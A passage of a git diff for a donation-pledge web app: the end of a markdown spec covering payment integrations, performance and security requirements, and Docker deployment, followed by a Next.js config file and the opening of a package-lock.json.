`Organization.gcEnvironment` | `"sandbox"` or `"live"` | +| Mandate ID | `PaymentInstruction.gcMandateId` | Stored per pledge | +| Mandate URL | `PaymentInstruction.gcMandateUrl` | Redirect URL for donor | + +**Flow:** Pledge created → mandate URL generated → donor authorises → GoCardless collects → webhook confirms → pledge marked paid. + +### 9.4 Future Integrations + +| Integration | Priority | Description | +|-----------------|----------|--------------------------------------------------| +| Stripe | High | Card payments via Checkout Sessions | +| Open Banking | Medium | Real-time payment initiation (no reference needed)| +| SMS (Twilio) | Medium | Reminder delivery via SMS | +| WhatsApp | Low | Reminder delivery via WhatsApp Business API | +| Stripe Identity | Low | Gift Aid address verification | + +--- + +## 10. Non-Functional Requirements + +### 10.1 Performance + +| Metric | Target | Rationale | +|-------------------------|-------------------|----------------------------------------| +| API response time | < 200ms (p95) | Mobile users on 4G at events | +| Pledge flow completion | > 80% | 3 screens, 15 seconds | +| QR scan → first screen | < 1s | Instant feel on scan | +| Bank CSV import (500 rows) | < 5s | Blocking UI operation | + +### 10.2 Reliability + +| Requirement | Implementation | +|--------------------------|---------------------------------------------------| +| Idempotent pledge creation | Reference uniqueness check + retry loop (10 attempts) | +| Analytics never fails | `POST /api/analytics` always returns `200`, catches all errors | +| Transaction safety | Pledge + PaymentInstruction + Reminders created in `$transaction` | +| Reminder stop guarantee | Paid/cancelled status change skips all pending reminders atomically | + +### 10.3 Mobile-First Design + +- **No account required** for donors — scan QR, pledge, done +- **One-tap reference copy** — copy button on confirmation screen +- **6 preset amounts** — big tap targets, no typing needed +- **Progressive identity** — email OR phone, name optional +- **Responsive** — Tailwind CSS, mobile-first breakpoints + +### 10.4 Security + +| Concern | Mitigation | +|----------------------|-------------------------------------------------------| +| Org data isolation | All queries scoped by `organizationId` | +| PII handling | Donor email/phone stored, not exposed in QR codes | +| Bank credentials | Stored in DB (future: encrypt at rest, vault) | +| GoCardless tokens | `gcAccessToken` in DB (future: encrypted) | +| Auth | NextAuth.js ready, `x-org-id` header interim | +| Rate limiting | Not yet implemented (future: Redis-based) | +| CSRF | Next.js built-in protections | + +### 10.5 Deployment + +``` +┌─────────────────────────────────────────────┐ +│ Docker Compose Stack │ +│ │ +│ ┌───────────────┐ ┌───────────────────┐ │ +│ │ PostgreSQL │ │ Redis │ │ +│ │ 16-alpine │ │ 7-alpine │ │ +│ │ port: 5432 │ │ port: 6379 │ │ +│ └───────────────┘ └───────────────────┘ │ +│ │ +│ ┌───────────────────────────────────────┐ │ +│ │ Next.js App │ │ +│ │ Node 18+ · port: 3000 │ │ +│ │ Prisma ORM · App Router │ │ +│ └───────────────────────────────────────┘ │ +└─────────────────────────────────────────────┘ +``` + +**Single command:** +```bash +docker compose up -d +npx prisma migrate deploy +npm run build && npm start +``` + +**Environment variables** (see `.env.example`): +- `DATABASE_URL` — PostgreSQL connection string +- `BASE_URL` — Public URL for QR codes +- `NEXTAUTH_SECRET` — Auth session secret +- GoCardless credentials (when ready) + +### 10.6 Observability + +| Layer | Tool | Notes | +|---------------|-------------------------|------------------------------------| +| Error logging | `console.error` | Structured in API routes | +| Analytics | `AnalyticsEvent` table | Queryable funnel data | +| Import audits | `Import` table | Full history of reconciliation runs| +| Scan tracking | `QrSource.scanCount` | QR engagement metric | + +--- + +## Appendix A: Glossary + +| Term | Definition | +|--------------------|-------------------------------------------------------------------| +| **Pledge** | A donor's declared intent to pay a specific amount | +| **Rail** | Payment method — bank transfer, Direct Debit, or card | +| **Reference** | Human-safe, bank-compatible unique code for matching payments | +| **QR Source** | An attribution point (table, volunteer, channel) with a unique QR | +| **Reconciliation** | Process of matching bank statement transactions to pledges | +| **Collection rate** | Percentage of pledged amount that has been confirmed as paid | +| **Initiated** | Donor has clicked "I've paid" but payment not yet confirmed | + +## Appendix B: Tech Stack Summary + +| Layer | Technology | Version | +|------------|--------------------------|---------| +| Framework | Next.js (App Router) | 14 | +| Language | TypeScript | — | +| Styling | Tailwind CSS + shadcn/ui | — | +| Database | PostgreSQL | 16 | +| ORM | Prisma | — | +| Validation | Zod | — | +| QR Codes | `qrcode` (node) | — | +| CSV | PapaParse | — | +| ID Gen | `nanoid` | — | +| Icons | Lucide React | — | +| Auth | NextAuth.js (ready) | — | +| Cache | Redis | 7 | diff --git a/pledge-now-pay-later/next.config.mjs b/pledge-now-pay-later/next.config.mjs new file mode 100644 index 0000000..8c8bab6 --- /dev/null +++ b/pledge-now-pay-later/next.config.mjs @@ -0,0 +1,6 @@ +/** @type {import('next').NextConfig} */ +const nextConfig = { + output: "standalone", +}; + +export default nextConfig; diff --git a/pledge-now-pay-later/package-lock.json b/pledge-now-pay-later/package-lock.json new file mode 100644 index 0000000..00ade23 --- /dev/null +++ b/pledge-now-pay-later/package-lock.json @@ -0,0 +1,8166 @@ +{ + "name": "pledge-now-pay-later", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "pledge-now-pay-later", + "version": "0.1.0", + "dependencies": { + "@auth/prisma-adapter": "^2.11.1", + "@prisma/adapter-pg": "^7.4.2", + "@prisma/client": "^7.4.2", + "@stripe/stripe-js": "^8.8.0", + "@types/bcryptjs": "^2.4.6", + "@types/qrcode": "^1.5.6", + "bcryptjs": "^3.0.3", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "date-fns": "^4.1.0", + "lucide-react": "^0.575.0", + "nanoid": "^5.1.6", + "next": "14.2.35", + "next-auth": "^4.24.13", + "papaparse": "^5.5.3", + "pg": "^8.19.0", + "prisma": "^7.4.2", + "qrcode": "^1.5.4", + "react": "^18", + "react-dom": "^18", + "stripe": "^20.4.0", + "tailwind-merge": "^3.5.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "@types/node": "^20", + "@types/papaparse": "^5.5.2", + "@types/pg": "^8.18.0", + "@types/react": "^18", + "@types/react-dom": "^18", + "eslint": "^8", + "eslint-config-next": "14.2.35", + "postcss": "^8", + "tailwindcss": "^3.4.1", + "tsx": "^4.21.0", + "typescript": "^5" + } + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@auth/prisma-adapter": { + "version": "2.11.1", + "resolved": "https://registry.npmjs.org/@auth/prisma-adapter/-/prisma-adapter-2.11.1.tgz", + "integrity": "sha512-Ke7DXP0Fy0Mlmjz/ZJLXwQash2UkA4621xCM0rMtEczr1kppLc/njCbUkHkIQ/PnmILjqSPEKeTjDPsYruvkug==", + "license": "ISC", + "dependencies": { + "@auth/core": "0.41.1" + }, + "peerDependencies": { + "@prisma/client": ">=2.26.0 || >=3 || >=4 || >=5 || >=6" + } + }, + "node_modules/@auth/prisma-adapter/node_modules/@auth/core": { + "version": "0.41.1", + "resolved": "https://registry.npmjs.org/@auth/core/-/core-0.41.1.tgz", + "integrity": "sha512-t9cJ2zNYAdWMacGRMT6+r4xr1uybIdmYa49calBPeTqwgAFPV/88ac9TEvCR85pvATiSPt8VaNf+Gt24JIT/uw==", + "license": "ISC", + "dependencies": { + "@panva/hkdf": "^1.2.1", + "jose": "^6.0.6", + "oauth4webapi": "^3.3.0", + "preact": "10.24.3", + "preact-render-to-string": "6.5.11" + }, + "peerDependencies": { + "@simplewebauthn/browser": "^9.0.1", + "@simplewebauthn/server": "^9.0.2", + "nodemailer": "^7.0.7" + }, + "peerDependenciesMeta": { + "@simplewebauthn/browser": { + "optional": true + }, + "@simplewebauthn/server": { + "optional": true + }, + "nodemailer": { + "optional": true + } + } + }, + "node_modules/@auth/prisma-adapter/node_modules/jose": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.1.3.tgz", + "integrity": "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/@auth/prisma-adapter/node_modules/oauth4webapi": { + "version": "3.8.5", + "resolved": "https://registry.npmjs.org/oauth4webapi/-/oauth4webapi-3.8.5.tgz", + "integrity": "sha512-A8jmyUckVhRJj5lspguklcl90Ydqk61H3dcU0oLhH3Yv13KpAliKTt5hknpGGPZSSfOwGyraNEFmofDYH+1kSg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/@auth/prisma-adapter/node_modules/preact-render-to-string": { + "version": "6.5.11", + "resolved": "https://registry.npmjs.org/preact-render-to-string/-/preact-render-to-string-6.5.11.tgz", + "integrity": "sha512-ubnauqoGczeGISiOh6RjX0/cdaF8v/oDXIjO85XALCQjwQP+SB4RDXXtvZ6yTYSjG+PC1QRP2AhPgCEsM2EvUw==", + "license": "MIT", + "peerDependencies": { + "preact": ">=10" + } + }, + "node_modules/@babel/runtime": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.6.tgz", + "integrity": "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@chevrotain/cst-dts-gen": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-10.5.0.tgz", + "integrity": "sha512-lhmC/FyqQ2o7pGK4Om+hzuDrm9rhFYIJ/AXoQBeongmn870Xeb0L6oGEiuR8nohFNL5sMaQEJWCxr1oIVIVXrw==", + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/gast": "10.5.0", + "@chevrotain/types": "10.5.0", + "lodash": "4.17.21" + } + }, + "node_modules/@chevrotain/gast": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-10.5.0.tgz", + "integrity": "sha512-pXdMJ9XeDAbgOWKuD1Fldz4ieCs6+nLNmyVhe2gZVqoO7v8HXuHYs5OV2EzUtbuai37TlOAQHrTDvxMnvMJz3A==", + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/types": "10.5.0", + "lodash": "4.17.21" + } + }, + "node_modules/@chevrotain/types": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-10.5.0.tgz", + "integrity": "sha512-f1MAia0x/pAVPWH/T73BJVyO2XU5tI4/iE7cnxb7tqdNTNhQI3Uq3XkqcoteTmD4t1aM0LbHCJOhgIDn07kl2A==", + "license": "Apache-2.0" + }, + "node_modules/@chevrotain/utils": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-10.5.0.tgz", + "integrity": "sha512-hBzuU5+JjB2cqNZyszkDHZgOSrUUT8V3dhgRl8Q9Gp6dAj/H5+KILGjbhDpc3Iy9qmqlm/akuOI2ut9VUtzJxQ==", + "license": "Apache-2.0" + }, + "node_modules/@electric-sql/pglite": { + "version": "0.3.15", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.3.15.tgz", + "integrity": "sha512-Cj++n1Mekf9ETfdc16TlDi+cDDQF0W7EcbyRHYOAeZdsAe8M/FJg18itDTSwyHfar2WIezawM9o0EKaRGVKygQ==", + "license": "Apache-2.0" + }, + "node_modules/@electric-sql/pglite-socket": { + "version": "0.0.20", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-socket/-/pglite-socket-0.0.20.tgz", + "integrity": "sha512-J5nLGsicnD9wJHnno9r+DGxfcZWh+YJMCe0q/aCgtG6XOm9Z7fKeite8IZSNXgZeGltSigM9U/vAWZQWdgcSFg==", + "license": "Apache-2.0", + "bin": { + "pglite-server": "dist/scripts/server.js" + }, + "peerDependencies": { + "@electric-sql/pglite": "0.3.15" + } + }, + "node_modules/@electric-sql/pglite-tools": { + "version": "0.2.20", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-tools/-/pglite-tools-0.2.20.tgz", + "integrity": "sha512-BK50ZnYa3IG7ztXhtgYf0Q7zijV32Iw1cYS8C+ThdQlwx12V5VZ9KRJ42y82Hyb4PkTxZQklVQA9JHyUlex33A==", + "license": "Apache-2.0", + "peerDependencies": { + "@electric-sql/pglite": "0.3.15" + } + }, + "node_modules/@emnapi/core": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.8.1.tgz", + "integrity": "sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.1.0", + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz", + "integrity": "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/wasi-threads": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.1.0.tgz", + "integrity": "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", + "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz", + "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz", + "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz", + "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz", + "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz", + "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz", + "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz", + "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz", + "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz", + "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz", + "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz", + "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz", + "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz", + "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz", + "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz", + "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz", + "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz", + "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz", + "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz", + "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz", + "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz", + "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz", + "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz", + "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz", + "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz", + "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/js": { + "version": "8.57.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz", + "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@hono/node-server": { + "version": "1.19.9", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.9.tgz", + "integrity": "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==", + "license": "MIT", + "engines": { + "node": ">=18.14.1" + }, + "peerDependencies": { + 